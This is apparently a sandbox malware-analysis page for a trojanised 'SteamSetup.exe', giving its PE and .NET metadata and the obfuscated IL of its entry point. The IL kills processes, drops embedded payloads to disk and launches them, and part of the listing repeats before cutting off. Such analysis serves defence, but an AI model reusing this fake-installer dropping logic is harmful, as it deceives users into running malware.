Malicious
Malicious

Share on LinkedIn
Print
PE Executable
MD5:
Size: 0 B
application/x-dosexec
Ctrl + scroll to zoom · drag to pan

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
File
Type
Portable Executable file
Detection
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET
Symbol obfuscation
Very high
1 malicious · 8 files
EXE8ae09bb656cdcf6961ab1d2b19b0daf8
Structure
Name Value
Module Name
SteamSetup.exe
Full Name
SteamSetup.exe
EntryPoint
System.Void YF8q1t87IYYp1691pW.uWW8yo0pOp4jwVsXrS::IJySskM9i()
Scope Name
SteamSetup.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
SteamSetup
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.8
Total Strings
43
Main Method
System.Void YF8q1t87IYYp1691pW.uWW8yo0pOp4jwVsXrS::IJySskM9i()
Main IL Instruction Count
315
Main IL 
br.s IL_0007: ldc.i4 2
call <null>
ldc.i4 2
stloc V_3
br IL_0015: ldloc V_3
ldloc V_3
switch dnlib.DotNet.Emit.Instruction[]
br IL_008B: ldloc.s V_10
ldloc.s V_10
ldloc.s V_4
ldelem.ref <null>
stloc.s V_5
ldc.i4 11
ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a
ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_0777f059893c4ceabd739c88c5b8b699
brfalse IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525)
pop <null>
ldc.i4 16
br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525)
ret <null>
ldloc.s V_9
ldc.i4 1946855281
ldc.i4 1513954210
xor <null>
ldc.i4 1459322656
xor <null>
ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a
ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c386ae2718cf4975a90a91e8bf42052f
xor <null>
call System.String H2sBwna7dhhZ4kU9Rf.OAvFdVsdh4CG3sWFPx::r5ell5E4R(System.Int32)
call System.String System.IO.Path::Combine(System.String,System.String)
stloc.s V_1
ldc.i4 19
br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525)
ldc.i4.0 <null>
stloc.s V_4
ldc.i4 6
ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a
ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_f9dbd33ebfdf40e5a491700056c3705d
brfalse IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525)
pop <null>
ldc.i4 1
br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525)
call System.Void System.Windows.Forms.Application::EnableVisualStyles()
ldc.i4 23
br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525)
ldloc.s V_9
brtrue IL_00B2: ldloc.s V_9
ldc.i4 9
stloc V_3
br IL_0015: ldloc V_3
ret <null>
ldc.i4 -2109213154
ldc.i4 5
shl <null>
ldc.i4 133568027
xor <null>
ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a
ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_71379f9cb1c1492da9b225b18510fde5
xor <null>
call System.String H2sBwna7dhhZ4kU9Rf.OAvFdVsdh4CG3sWFPx::r5ell5E4R(System.Int32)
call System.Diagnostics.Process[] System.Diagnostics.Process::GetProcessesByName(System.String)
dup <null>
ldlen <null>
ldc.i4.0 <null>
cgt.un <null>
stloc.s V_2
stloc.s V_10
ldc.i4 17
br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525)
ldc.i4.0 <null>
call System.Void System.Windows.Forms.Application::SetCompatibleTextRenderingDefault(System.Boolean)
ldc.i4 13
br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525)
ret <null>
nop <null>
ldloc.s V_5
callvirt System.Void System.Diagnostics.Process::Kill()
ldc.i4 1
ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a
ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_6d67a2b389604e3a97c79208d1c167ee
brfalse IL_01A2: switch(IL_01E0,IL_01B4)
pop <null>
ldc.i4 0
br IL_01A2: switch(IL_01E0,IL_01B4)
ldloc V_7
switch dnlib.DotNet.Emit.Instruction[]
br IL_01E0: leave IL_03DF
ldloc.s V_5
ldc.i4 3000
callvirt System.Boolean System.Diagnostics.Process::WaitForExit(System.Int32)
pop <null>
ldc.i4 0
ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a
ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_51c5ca3b186e4111bca91af9f1f0992a
brtrue IL_01A2: switch(IL_01E0,IL_01B4)
pop <null>
ldc.i4 0
br IL_01A2: switch(IL_01E0,IL_01B4)
leave IL_03DF: ldloc.s V_4
pop <null>
ldc.i4 0
ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a
ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_3c14218fc7e3404a8fdb0df7a8339180
brtrue IL_0209: switch(IL_0217)
pop <null>
ldc.i4 0
br IL_0209: switch(IL_0217)
ldloc V_8
switch dnlib.DotNet.Emit.Instruction[]
br IL_0217: leave IL_03DF
leave IL_03DF: ldloc.s V_4
ldc.i4 4
ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a
ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_be2f977968074dbfa14ae62581a1acb2
brtrue IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525)
pop <null>
ldc.i4 0
br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525)
br IL_008B: ldloc.s V_10
ldc.i4 9
ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a
ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_9b2650c465334383b0a067da28d86d94
brtrue IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525)
pop <null>
ldc.i4 11
br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525)
ldloc.s V_9
ldc.i4 350066962
ldc.i4 2027984176
xor <null>
ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a
ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_993afc461cbc4529acfa8aa07db9cded
xor <null>
call System.String H2sBwna7dhhZ4kU9Rf.OAvFdVsdh4CG3sWFPx::r5ell5E4R(System.Int32)
call System.String System.IO.Path::Combine(System.String,System.String)
call System.Boolean System.IO.File::Exists(System.String)
brtrue IL_0437: nop
ldc.i4 11
ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a
ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_48926a63029046f8acc3f1672b3f072b
brtrue IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525)
pop <null>
ldc.i4 14
br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525)
call System.Boolean YF8q1t87IYYp1691pW.uWW8yo0pOp4jwVsXrS::sdUQL5CcW()
brtrue IL_054B: ret
ldc.i4 13
ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a
ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_529039fa0e954e10a41f3e31cf846fc8
brtrue IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525)
pop <null>
ldc.i4 15
br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525)
br IL_0446: ldloc.s V_4
ldc.i4 0
ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a
ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_5bd11b821be049d4be088b8b862dda1c
brfalse IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525)
pop <null>
ldc.i4 0
br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525)
nop <null>
ldloc.s V_1
call System.Byte[] SteamSetup.Properties.Resources::get_SteamWindow()
call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[])
ldc.i4 1
ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a
ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_8e136193dbc14abb9ed0dc14d9589b58
brfalse IL_0327: switch(IL_0384,IL_0339)
pop <null>
ldc.i4 0
br IL_0327: switch(IL_0384,IL_0339)
ldloc V_0
switch dnlib.DotNet.Emit.Instruction[]
br IL_0384: leave IL_0525
ldloc.s V_9
ldc.i4 -869143660
ldc.i4 -926526044
xor <null>
ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a
ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_be49b0c1e6b34be196242f6bec524b45
xor <null>
call System.String H2sBwna7dhhZ4kU9Rf.OAvFdVsdh4CG3sWFPx::r5ell5E4R(System.Int32)
call System.String System.IO.Path::Combine(System.String,System.String)
call System.Byte[] SteamSetup.Properties.Resources::get_WebView2Loader()
call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[])
ldc.i4 0
ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a
ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_4e5c59b78de947d3906e9144d044a938
brtrue IL_0327: switch(IL_0384,IL_0339)
pop <null>
ldc.i4 0
br IL_0327: switch(IL_0384,IL_0339)
leave IL_0525: ldloc.s V_2
pop <null>
ldc.i4 0
ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a
ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_f1f861dc75784e1bb0ee639063c5a5a7
brtrue IL_03AD: switch(IL_03BB)
pop <null>
ldc.i4 0
br IL_03AD: switch(IL_03BB)
ldloc V_6
switch dnlib.DotNet.Emit.Instruction[]
br IL_03BB: leave IL_0525
leave IL_0525: ldloc.s V_2
ldc.i4 18
ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a
ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_be2f977968074dbfa14ae62581a1acb2
brfalse IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525)
pop <null>
ldc.i4 25
br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525)
ldloc.s V_4
ldc.i4.1 <null>
add <null>
stloc.s V_4
ldc.i4 1
ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a
ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_0a3f5e50a5a146e991dd1788f8489652
brtrue IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525)
pop <null>
ldc.i4 22
br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525)
call System.Void AWwrb6IZaoTW1skL6Uw.k6EhOsIadlBYru3vdpf::hSq6WhIBHb()
ldc.i4 1
ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a
ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_26de41fd01a843999f544a29465b552a
brfalse IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525)
pop <null>
ldc.i4 1
br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525)
call System.Void BalKq0INJdSgLv0IlEL.W03EwQIMqxeuGuWiAoI::OyDSbEvb0q()
ldc.i4 21
br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525)
nop <null>
ldc.i4 10
stloc V_3
br IL_0015: ldloc V_3
ldloc.s V_4
ldloc.s V_10
ldlen <null>
conv.i4 <null>
bge IL_025F: ldloc.s V_9
ldc.i4 20
stloc V_3
br IL_0015: ldloc V_3
ldloc.s V_1
ldloc.s V_9
ldc.i4 -1348167488
ldc.i4 489480752
sub <null>
ldc.i4 -2045417835
xor <null>
ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a
ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_3efcb5432cfa48f7bc1872d6b5e81623
xor <null>
call System.String H2sBwna7dhhZ4kU9Rf.OAvFdVsdh4CG3sWFPx::r5ell5E4R(System.Int32)
call System.String System.IO.Path::Combine(System.String,System.String)
call System.Void System.IO.File::Move(System.String,System.String)
ldc.i4 24
ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a
ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_50c8bb6c6a58481a95d4164343ccd960
brfalse IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525)
pop <null>
ldc.i4 0
br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525)
br IL_054C: call System.String YF8q1t87IYYp1691pW.uWW8yo0pOp4jwVsXrS::wejM7ygwe()
ldc.i4 1
ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a
ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_63255e9e987740d5870a448b84469e67
brtrue IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525)
pop <null>
ldc.i4 3
br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525)
ldloc.s V_1
call System.Boolean System.IO.File::Exists(System.String)
brtrue IL_012D: ldc.i4 -2109213154
ldc.i4 3
ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a
ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_41f0756ef3af498788efa9dfd36951c3
brtrue IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525)
pop <null>
ldc.i4 8
br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525)
ldc.i4 2500
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldc.i4 3
ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a
ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_a670ef240aad4060b3d7a36f9e6eb01c
brtrue IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525)
pop <null>
ldc.i4 7
br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525)
ldloc.s V_2
brfalse IL_0176: ret
ldc.i4 5
ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a
ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_05a7934fedcb46bf84f4e5bb3a9e1050
brtrue IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525)
pop <null>
ldc.i4 4
br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525)
ret <null>
call System.String YF8q1t87IYYp1691pW.uWW8yo0pOp4jwVsXrS::wejM7ygwe()
stloc.s V_9
ldc.i4 12
br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525)
ldloc.s V_1
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.String)
pop <null>
ldc.i4 18
stloc V_3
br IL_0015: ldloc V_3
Module Name
SteamSetup.exe
Full Name
SteamSetup.exe
EntryPoint
System.Void YF8q1t87IYYp1691pW.uWW8yo0pOp4jwVsXrS::IJySskM9i()
Scope Name
SteamSetup.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
SteamSetup
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.8
Total Strings
43
Main Method
System.Void YF8q1t87IYYp1691pW.uWW8yo0pOp4jwVsXrS::IJySskM9i()
Main IL Instruction Count
315
Main IL 
br.s IL_0007: ldc.i4 2
call <null>
ldc.i4 2
stloc V_3
br IL_0015: ldloc V_3
ldloc V_3
switch dnlib.DotNet.Emit.Instruction[]
br IL_008B: ldloc.s V_10
ldloc.s V_10
ldloc.s V_4
ldelem.ref <null>
stloc.s V_5
ldc.i4 11
ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a
ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_0777f059893c4ceabd739c88c5b8b699
